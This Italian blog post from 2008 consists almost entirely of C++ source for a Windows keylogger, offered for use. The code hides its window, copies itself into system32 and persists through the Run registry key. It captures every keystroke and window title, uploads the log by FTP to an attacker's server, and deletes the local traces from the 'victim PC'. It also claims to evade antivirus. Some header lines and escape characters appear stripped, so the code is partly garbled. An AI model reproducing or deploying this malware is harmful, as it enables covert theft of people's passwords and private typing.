Cosa ne pendi del blog?

sabato 2 agosto 2008

Keylogger in C++

Codice:
/*
*************************************************************************
* Upload remote log via FTP *
* Linguaggio: C++ *
* Features: Keylogger *
* - Logga tutto, e la maggior parte delle combinazioni da tastiera *
* - Con un apposita aggiunta alle chiavi di reg. si autoavvia con Win *
* - Invia il file di Log tramite FTP *
* - Se fallisce, ritenta ogni 60 secondi di rinviare il log *
* - Una volta inviato il vecchio log viene cancellato dal PC vittima *
* - Non rilevato dagli AntiVirus *
*************************************************************************
*/

#include
#include
#include
#include
#include
#include
#define PRESSED -32767
using namespace std;

void nascondi();
void StartLog();
bool InviaLog();
void chkSend();
void RegistraAndSposta();
void logga(char *stringa);
void logga(char carattere); // OVERLOAD

ofstream log; //File di LOG
char prog[25] = "keylogger.exe"; // Dare il nome che ha l'exe
char key_dir[255], log_dir[255]; // Destinazione keylogger
bool inviato = FALSE;

int main(int argc, char *argv[])
{
int i = 0;
HWND finestra;
char titolo_finestra[255], last_titolo[255];

RegistraAndSposta();
strcpy(log_dir, key_dir);
strcat(log_dir, "\log.txt");

nascondi();
StartLog();
inviato = InviaLog();


while(1) {
finestra = GetForegroundWindow(); // Ricevo l'indirizzo della finestra del programma
GetWindowText(finestra, titolo_finestra, sizeof(titolo_finestra));
if(strcmp(titolo_finestra, last_titolo) && titolo_finestra[0]!= '0') {
logga("nn========tFinestra: ");
logga(titolo_finestra);
logga("tt========nn");
} strcpy(last_titolo, titolo_finestra);
if(GetAsyncKeyState(VK_SHIFT)) { // LOGGO CARATTERI SE SHIFT E' PREMUTO
for(i = 65; i<= 90; i++) {
if(GetAsyncKeyState(i)== PRESSED) logga(i);
}
for(i = 48; i <= 57; i++) {// CARATTERI SPECIALI --> =!"£$%&/() <--
if(GetAsyncKeyState(i) == PRESSED) {
if(i==48) logga(61);
else if(i==51) logga(163);
else if(i==55) logga(47);
else logga(i-16);
}
}
if(GetAsyncKeyState(220) == PRESSED) logga('|');
if(GetAsyncKeyState(188) == PRESSED) logga(';');
if(GetAsyncKeyState(190) == PRESSED) logga(':');
if(GetAsyncKeyState(189) == PRESSED) logga('_');
if(GetAsyncKeyState(186) == PRESSED) logga('é');
if(GetAsyncKeyState(187) == PRESSED) logga('*');
if(GetAsyncKeyState(192) == PRESSED) logga('ç');
if(GetAsyncKeyState(222) == PRESSED) logga('°');
if(GetAsyncKeyState(191) == PRESSED) logga('§');
if(GetAsyncKeyState(219) == PRESSED) logga('?');
if(GetAsyncKeyState(221) == PRESSED) logga('^');
if(GetAsyncKeyState(226) == PRESSED) logga('>');
} // END IF (se shift è premuto)

else { // LOGGO CARATTERI SE SHIFT NON E' PREMUTO
for (i = 65; i <= 90; i++) {
if (GetAsyncKeyState(i) == PRESSED) logga(i+32); // LETTERE
}

for(i = 48; i <= 57; i++) { // NUMERI
if(GetAsyncKeyState(i) == PRESSED) logga(i);
}
/* ALCUNI CARATTERI SPECIALI */
if(GetAsyncKeyState(220) == PRESSED) logga('\');
if(GetAsyncKeyState(188) == PRESSED) logga(',');
if(GetAsyncKeyState(190) == PRESSED) logga('.');
if(GetAsyncKeyState(189) == PRESSED) logga('-');
if(GetAsyncKeyState(186) == PRESSED) logga('è');
if(GetAsyncKeyState(187) == PRESSED) logga('+');
if(GetAsyncKeyState(192) == PRESSED) logga('ò');
if(GetAsyncKeyState(222) == PRESSED) logga('Ã ');
if(GetAsyncKeyState(191) == PRESSED) logga('ù');
if(GetAsyncKeyState(219) == PRESSED) logga(''');
if(GetAsyncKeyState(221) == PRESSED) logga('ì');
if(GetAsyncKeyState(226) == PRESSED) logga('<');
if(GetAsyncKeyState(111) == PRESSED) logga('/');
if(GetAsyncKeyState(106) == PRESSED) logga('*');
if(GetAsyncKeyState(109) == PRESSED) logga('-');
if(GetAsyncKeyState(107) == PRESSED) logga('+');
if(GetAsyncKeyState(110) == PRESSED) logga('.');
/* TASTI FUNZIONALI (loggo char*) */
if(GetAsyncKeyState(VK_CAPITAL) == PRESSED) logga("");
if(GetAsyncKeyState(VK_BACK) == PRESSED) logga("");
if(GetAsyncKeyState(VK_DELETE) == PRESSED) logga("");
if(GetAsyncKeyState(VK_ESCAPE) == PRESSED) logga("");
if(GetAsyncKeyState(VK_HOME) == PRESSED) logga("");
if(GetAsyncKeyState(VK_END) == PRESSED) logga("");
if(GetAsyncKeyState(VK_INSERT) == PRESSED) logga("");
if(GetAsyncKeyState(VK_TAB) == PRESSED) logga("");
if(GetAsyncKeyState(VK_LEFT) == PRESSED) logga("");
if(GetAsyncKeyState(VK_RIGHT) == PRESSED) logga("");
if(GetAsyncKeyState(VK_UP) == PRESSED) logga("");
if(GetAsyncKeyState(VK_DOWN) == PRESSED) logga("");
/* SPAZIO E A CAPO */
if(GetAsyncKeyState(VK_SPACE) == PRESSED) logga(" ");
if(GetAsyncKeyState(VK_RETURN) == PRESSED) logga("tn");
}
Sleep(10);
chkSend(); // CONTROLLO SE IL FILE E' STATO UPPATO
}

return 0;
}

void StartLog()
{
char user[50], pcname[50], ora[50];
DWORD buffSize = 50;
GetComputerName(pcname, &buffSize); // Ottengo il nome del computer
GetUserName(user,&buffSize); // Ottengo l'username

time_t startTime;
time(&startTime); // Ottengo il localtime
strcpy(ora, ctime(&startTime)); // Lo converto in stringa

logga("ttt-------> KEYLOGGER AVVIATO <-------nn"); // Loggo le varie info
logga("__GiReX__ Remote KeyLogger 2.0 http://girex.altervista.orgnn");
logga("Nome del computer:t");
logga(pcname);
logga("nUsername:tt");
logga(user);
logga("nStartup Time:tt");
logga(ora);
logga("nn");
}

void RegistraAndSposta()
{
char moved[255];
GetSystemDirectory(key_dir, sizeof(key_dir)); // Prendo il percorso della dir system32
strcpy(moved, key_dir);
strcat(moved, "\");
strcat(moved, prog);
CopyFile(prog, moved, 1); // COPIO il keylogger in system32

HKEY chiave; // Mofifico le chiavi di registro (run) in modo che parta all'avvio
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Run",0,KEY_SET_VALUE,&chiave);
RegSetValueEx(chiave, "keylogger",0,REG_SZ,(const unsigned char*)moved,sizeof(moved));
RegCloseKey(chiave);
}

void nascondi()
{
HWND invisibile;
invisibile = FindWindow("ConsoleWindowClass", NULL); // Ricevo valore finestra
ShowWindow(invisibile, SW_HIDE); // Nascondo finestra
}

void logga(char carattere) // Loggo caratteri
{
log.open(log_dir, ios::app);
log << carattere;
log.close();
}

void logga(char *stringa) // Loggo Stringhe (char*)
{
log.open(log_dir, ios::app);
log << stringa;
log.close();
}

bool InviaLog()
{
HINTERNET connessione, sessione_ftp;

connessione = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
if(!connessione) {
logga("n*** INIZIO CONNESSIONE FALLITO ***n");
return FALSE;
}
sessione_ftp = InternetConnect(connessione,"TUO_HOST es.(piero.it)",INTERNET_DEFAULT_FTP_PORT, "TUO_USERNAME","TUA_PASS", INTERNET_SERVICE_FTP, 0,0 );
if(!sessione_ftp) {
logga("n*** INIZIO SESSIONE FTP FALLITA ***n");
return FALSE;
}
if(!FtpPutFile(sessione_ftp, log_dir, "mylog.txt", INTERNET_FLAG_TRANSFER_BINARY, 0)){
logga("n*** INVIO FILE FALLITO ***n");
return FALSE;
}

InternetCloseHandle(sessione_ftp);
InternetCloseHandle(connessione);
DeleteFile(log_dir); // SE UPPATO CANCELLO IL LOG
StartLog(); // Cancellato il file, riscrivo lo startup log
return TRUE;
}

void chkSend()
{
if(inviato==TRUE) return;
else {

struct tm *orario;
time_t lt;
int s;

lt = time(NULL);
orario = localtime(&lt);
s = orario->tm_sec;
if(s==0) inviato = InviaLog();
}
}

Nessun commento: